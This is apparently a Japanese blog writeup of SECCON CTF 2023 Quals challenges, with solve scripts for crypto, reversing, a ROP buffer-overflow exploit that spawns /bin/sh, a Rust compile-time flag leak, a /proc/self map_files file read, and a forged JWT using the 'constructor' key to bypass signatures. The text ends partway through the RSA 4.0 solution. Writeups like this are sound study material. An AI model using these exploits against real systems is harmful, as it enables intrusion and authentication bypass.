LoginSignup
10
3

SECCON CTF 2023 Quals Writeup

Last updated at Posted at 2023-09-17

はじめに

hiikunZです。普段は高校生活をしていたり1競技プログラミングをしたりしています。
SECCON CTF 2023 Quals にチーム 「BeginnersSec」で参加して、Welcome 以外の全てを担当しました。
結果は 世界51位・国内14位 でした。
かなり高順位で嬉しかったので Writeup を書きます。

plai_n_rsa (crypto)

問題

I've dropped the "n" ... where is my "n" :(

problem.py
import os

from Crypto.Util.number import bytes_to_long, getPrime

flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)

print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
output.txt
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

解法

$ed \equiv 1 \bmod (p-1)(q-1)$ を利用します。
このときある自然数 $x$ について $ed - 1 = x(p-1)(q-1)$ …☆ が成立します。
ここで、$(p-1)(q-1) = pq - (p+q) + 1$ を式変形すると、
$\frac{ed - 1}{x} = pq - \text{hint} + 1$ ($\because$ ☆$, \text{hint}=p+q$)
$pq = \frac{ed - 1}{x} + \text{hint} - 1$ となり、$pq$ が求められ、あとは秘密鍵がわかっているので普通のRSA暗号です。
$x$ は $ed - 1$ の約数のうちかなり小さいものなので、全探索することができます。

solve.py
from Crypto.Util.number import *
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
for x in range(1,200000):
    if (e*d-1) % x != 0:
        continue
    n = (e*d-1)//x + hint - 1
    m = pow(c,d,n)
    flag = long_to_bytes(m)
    if flag.startswith(b"SECCON{"):
        print(flag)
        break

flag

SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}

jumpout (reversing)

問題

Sequential execution
コンパイルされたファイルが渡さるので、reversing してくださいという問題です。

解法

Ghidra でデコンパイルすると、xor 暗号っぽい関数が見つかりました。
wr1.png
param_1 : 入力
param_2 : index

だと予想して解くと、うまくいきません。
よく見ると、.data セクションに DAT_00104010 以外に DAT_00104030 というデータがありました。
エスパーしてこれも xor したら flag が得られてしまいました。

solve.py
DAT_00104010 = b'\xf6\xf5\x31\xc8\x81\x15\x14\x68\xf6\x35\xe5\x3e\x82\x09\xca\xf1\x8a\xa9\xdf\xdf\x33\x2a\x6d\x81\xf5\xa6\x85\xdf\x17'
DAT_00104030 = b'\xf0\xe4\x25\xdd\x9f\x0b\x3c\x50\xde\x04\xca\x3f\xaf\x30\xf3\xc7\xaa\xb2\xfd\xef\x17\x18\x57\xb4\xd0\x8f\xb8\xf4\x23'
flag = ""

for i in range(len(DAT_00104010)):
     flag += chr(i ^ 0x55 ^ DAT_00104010[i] ^ DAT_00104030[i])
print(flag)

flag

SECCON{jump_table_everywhere}

rop-2.35 (pwnable)

問題

The number of ROP gadgets is declining worldwide.

main.c
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

解答

自明な Buffer overflow 脆弱性がり、No PIE かつ canary がないので、簡単に ROP ができます。
system 関数は main 内にあるので、GOT Table にアクセスすればいい… と思いましたが、 rdi をうまく制御できません。

main.dmp
0x401156 <+0>:	endbr64
0x40115a <+4>:	push   rbp
0x40115b <+5>:	mov    rbp,rsp
0x40115e <+8>:	sub    rsp,0x10
0x401162 <+12>:	lea    rax,[rip+0xe9b]        # 0x402004
0x401169 <+19>:	mov    rdi,rax
0x40116c <+22>:	call   0x401050 <system@plt>
0x401171 <+27>:	lea    rax,[rbp-0x10]
0x401175 <+31>:	mov    rdi,rax
0x401178 <+34>:	mov    eax,0x0
0x40117d <+39>:	call   0x401060 <gets@plt>
0x401182 <+44>:	nop
0x401183 <+45>:	leave
0x401184 <+46>:	ret

ここで、main 内の 0x401169 に飛ばせば、rdi の値を rax の値で置き換えられることを思いつきます。
都合のいいことに、main から ret するときに rax は入力した場所のアドレスです。 (gets の戻り値なので)
これでうまくいくかと思いきや、うまくいきません。dbg で確認すると、入力した場所の内容が system 内で書き換わってしまっています。(rsp よりも上にあるので、system 内のローカル変数として利用されてしまう)

rsp を書き換えられるような ROP gadget がないか探すと、ありました。

0x401016: add rsp, 0x08 ; ret ;

これを使えば、rsp を動かし、入力した場所が書き換えられないようにできます。
(2 回呼び出せば、いい感じに動いてくれました)

solve.py
from pwn import *
import sys

FILENAME = "./chall"
host = "rop-2-35.seccon.games"
port = 9999

context(os='linux', arch='x86_64')
context.log_level = 'info'

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
            set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        c = remote(host,port)
    else:
        print("Invalid option")
        sys.exit(0)
else:
    c = process(FILENAME)
    
c.recvuntil(b":")
payload = b"/bin/sh\x00" # buf
payload += p64(0x0) # buf
payload += p64(0x1) # saved rbp
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401169) # <main+19>
c.sendline(payload)
c.interactive()

flag

SECCON{i_miss_you_libc_csu_init_:cry:}

crabox (sandbox)

問題

🦀 Compile-Time Sandbox Escape 🦀

app.py
import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")

解法

rust のコンパイルをしてくれて、コンパイルに成功したかどうかを教えてくれるようです。
ソースコード内のコメントにフラグがあるので、読み出せればクリアのようです。

とりあえず「rust マクロ」とかで検索してこの記事 を見つけました。

試行錯誤を重ねた結果2include_bytes!file! を使うことで、

fn main() {
    }const d:u8=1/(include_bytes!(file!())[x]&(1<<i));fn hoge(){

    /* Steal me: SECCON{dummy} */
}

のようにすることで、ゼロ除算が発生したかどうかでソースコードの x 文字目の i bit 目を知ることができるとわかりました。
あとは自動化すると、フラグが得られました。

solve.py
from pwn import *

host = "crabox.seccon.games"
port = 1337

flag = "SECCON{"
for x in range(98 + len(flag),150):
    r = 0
    for i in range(0,8):
        c = remote(host,port)
        c.recvuntil(b"with __EOF__):")
        p = "}const d:u8=1/(include_bytes!(file!())[" + str(x) + "]&(1<<" + str(i) + "));fn hoge(){"
        c.sendline(p)
        c.sendline(b"__EOF__")
        c.recvuntil(b":")
        res = chr(c.recvline()[0])
        if res == ')':
            r |= (1 << i)
        c.close()
    flag += chr(r)
    print(flag)
    if flag[-1] == '}':
        break

flag

SECCON{ctfe_i5_p0w3rful}

readme 2023 (misc)

問題

Can you read the flag?

server.py
import mmap
import os
import signal

signal.alarm(60)

try:
    f = open("./flag.txt", "r")
    mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
    print("[-] Flag does not exist")
    exit(1)

while True:
    path = input("path: ")

    if 'flag.txt' in path:
        print("[-] Path not allowed")
        exit(1)
    elif 'fd' in path:
        print("[-] No more fd trick ;)")
        exit(1)

    with open(os.path.realpath(path), "rb") as f:
        print(f.read(0x100))

解法

とりあえず server.py を改造して、/proc/self に便利なものがないか探すと、

/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000flag.txt に繋がっていました。
ただ、このファイル名は固定値ではないようなので、このファイル名を推測する必要があります。
google で調べると、/proc/self/maps に書いてあるとわかりましたが、このサーバーはファイルの先頭 0x100 バイトしか教えてくれないので、うまくいきません。

さらに /proc/self 内をいろいろ漁ると、/proc/self/syscall にそれっぽいアドレスがありました。

0 0x3 0x558c0ab365d0 0x400 0x2 0x0 0x0 0x7fff0df05dc8 0x7f9ee0d9207d

最後のアドレスが、/usr/lib/x86_64-linux-gnu/libc.so.6 内のどこかを指していて、これと flag.txt がある場所のオフセットは常に一定だったので、あとはいい感じにやると flag.txt が読めました。

(実機でやってうまくいかず悩んでいましたが、docker の中でやるとうまくいきました。)

solve.py
from pwn import *

host = "readme-2023.seccon.games"
port = 2023

flag = "SECCON{"

c = remote(host,port)
c.recvuntil(b"path: ")
c.sendline(b"/proc/self/syscall")

flagaddr = int(c.recvline().split()[-1][2:-3],16) - 0x7f9ee0d9207d + 0x7f9ee0e7c000
p = "/proc/self/map_files/" + hex(flagaddr)[2:] + "-" + hex(flagaddr + 0x1000)[2:]

c.recvuntil(b"path: ")
c.sendline(p.encode())

c.interactive()

flag

SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}

Bad JWT (web)

問題

I think this JWT implementation is not bad.

jwt.js
const crypto = require('crypto');

const base64UrlEncode = (str) => {
	return Buffer.from(str)
		.toString('base64')
		.replace(/=*$/g, '')
		.replace(/\+/g, '-')
		.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
	return Buffer.from(str, 'base64').toString();
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
	return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const parseToken = (token) => {
	const parts = token.split('.');
	if (parts.length !== 3) throw Error('Invalid JWT format');
	
	const [ header, payload, signature ] = parts;
	const parsedHeader = parsePart(header);
	const parsedPayload = parsePart(payload);
	
	return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
	const header = {
		typ: 'JWT',
		alg: alg
	}
	
	const signature = createSignature(header, payload, secret);
	
	const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
	return token;
}

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');
	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

module.exports = { sign, verify }
index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
	try {
		const token = req.cookies.session;
		const payload = jwt.verify(token, secret);
		req.session = payload;
	} catch (e) {
	    console.log(e);
		return res.status(400).send('Authentication failed');
	}
	return next();
})

app.get('/', (req, res) => {
	if (req.session.isAdmin === true) {
		return res.send(FLAG);
	} else {
		return res.status().send('You are not admin!');
	}
});

app.listen(PORT, () => {
	const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
	console.log(`[INFO] Use ${admin_session} as session cookie`);
  console.log(`Challenge server listening on port ${PORT}`);
});

解法

試行錯誤していると、この部分が怪しく見えてきます。

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

そういえば、こういうのには __proto__ があったよな…と思い、 alg__proto__ にしてアクセスしてみると、__proto__ にアクセスできたはいいものの、そこから先に進めません。

ここで、ブラウザの javascript コンソールで試すと、たくさん使えそうなものが出てきました。
wr2.png

しかし、

const signature = algorithms[header.alg.toLowerCase()](data, secret);

というようにアクセスしているので、英大文字が含まれていると使えません。
となると constructor しか使えなさそうです。

これを調べると、嬉しいことに
algorithms["constructor"](data, secret)data を返してくれるとわかるので、
{"typ":"JWT","alg":"constructor"}{"isAdmin":true} から jwt を生成します。

eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ

前から、{"typ":"JWT","alg":"constructor"} (base64)、{"isAdmin":true} (base64)、 前2つを連結したもの です。
この jwt を session cookie に入れてアクセスすると、フラグが得られました。

flag

SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

RSA 4.0 (crypto)

問題

A new era has come, RSA 4.0!

problem.sage
import os

from Crypto.Util.number import bytes_to_long, getStrongPrime

m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
    1 * m
    + (3 * m + 1 * p + 337 * q) * i
    + (3 * m + 13 * p + 37 * q) * j
    + (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")
output.txt
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
enc = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841 + 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344*i + 1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613*j + 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420*k

解法

よくわからないので、sympy.var を使って、 $e$ が小さい時で実験してみます。
このために四元数の class を実装しました。3

experiment.py
import sympy

sympy.var('m,p,q')

class Quaternion:
    def __init__(self, w,i,j,k):
        self.w = w
        self.i = i
        self.j = j
        self.k = k
    # 出力
    def __str__(self):
        return f"({self.w.factor()}) + \n({self.i.factor()})i + \n({self.j.factor()})j + \n({self.k.factor()})k"
    # 掛け算
    def __mul__(self, other):
        neww = self.w*other.w - self.i*other.i - self.j*other.j - self.k*other.k
        newi = self.w*other.i + self.i*other.w + self.j*other.k - self.k*other.j
        newj = self.w*other.j - self.i*other.k + self.j*other.w + self.k*other.i
        newk = self.w*other.k + self.i*other.j - self.j*other.i + self.k*other.w
        return Quaternion(neww.subs(p*q, 0), newi.subs(p*q, 0), newj.subs(p*q, 0), newk.subs(p*q, 0))
    # 累乗
    def __pow__(self, n):
        if n == 0:
            return Quaternion(1,0,0,0)
        elif n % 2 == 0:
            return (self * self) ** (n//2)
        else:
            return self * (self * self) ** (n//2)

e = 3
quat = Quaternion(1 * m,3 * m + 1 * p + 337 * q,3 * m + 13 * p + 37 * q ,7 * m + 133 * p + 7 * q) ** e
print(quat)
(-m*(200*m**2 + 5838*m*p + 7026*m*q + 53577*p**2 + 10494*p*q + 344961*q**2)) + 
(-(3*m + p + 337*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))i + 
(-(3*m + 13*p + 37*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))j + 
(-7*(m + 19*p + q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))k

(以下、$\text{enc} = a + bi + cj + dk$ $(a,b,c,d\in\mathbb{R})$ とします。)
結果を観察すると、
$-(64m^2 + 1946mp + 2342mq + 17859p^2 + 3498pq + 114987q^2) = X$ として、
$b = (3m + p + 337q)\times X$
$c = (3m + 13p + 37q)\times X$
$d = (7m + 133p + 7q)\times X$
と表せそうです。
$e = 65537$ の場合でもこれを満たす $X$ が存在すると考えられます。
このとき、

  • $3x + 3y + 7z = 0$
  • $x + 13y + 133z = 1$
  • $337x + 37y + 7z = 0$

を満たす $x,y,z$ に対して $bx+cy+dz = p \times X$ が成立します。
あとは、$\gcd(p \times X,n) = p$ から $p$ を、$n = pq$ から $q$ を求めることができます。

上の連立方程式の解は $x = \frac{17}{6396}, y = -\frac{167}{6396}, z = \frac{75}{7462}$なので4、次のようなコードで $p,q$ を求めることができます。

calc_p_and_q.py
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c =  1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420

x = 17*pow(6396,-1,n)
y = -167*pow(6396,-1,n)
z = 75*pow(7462,-1,n)

p = math.gcd(b*x+c*y+d*z,n)
q = n // p
assert(p * q == n)
print("p =",p)
print("q =",q)

$p,q$ がわかったので、$X$ を求めます。

拡張ユーグリットの互除法で $Ap + Bq = 1$ となる A,B を求めた上で、

  • $3x + 3y + 7z = 0$
  • $x + 13y + 133z = A$
  • $337x + 37y + 7z = B$

となるような $x,y,z$ を用いると、同様に $X$ がわかります。

さらに、

  • $3x + 3y + 7z = 1$
  • $x + 13y + 133z = 0$
  • $337x + 37y + 7z = 0$

となるような $x,y,z$ を用いることで、 $m \times X$ もわかります。

あとは $m = \frac{m \times X}{X}$ から、$m$ を求めることができます。

calc_x_and_m.py
from Crypto.Util.number import *
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c =  1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420

